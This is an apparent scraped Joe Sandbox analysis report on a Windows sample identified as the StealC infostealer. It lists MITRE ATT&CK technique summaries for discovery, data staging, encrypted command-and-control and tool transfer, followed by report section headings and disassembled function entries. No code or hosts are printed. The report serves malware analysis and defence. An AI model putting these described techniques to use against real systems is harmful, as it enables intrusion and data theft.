Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00D99860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00D845C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00D84880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00D99C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00D86280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00D95510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00D917A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00D97500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 00D969F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00D81220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00D96AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00D847B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00D951F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON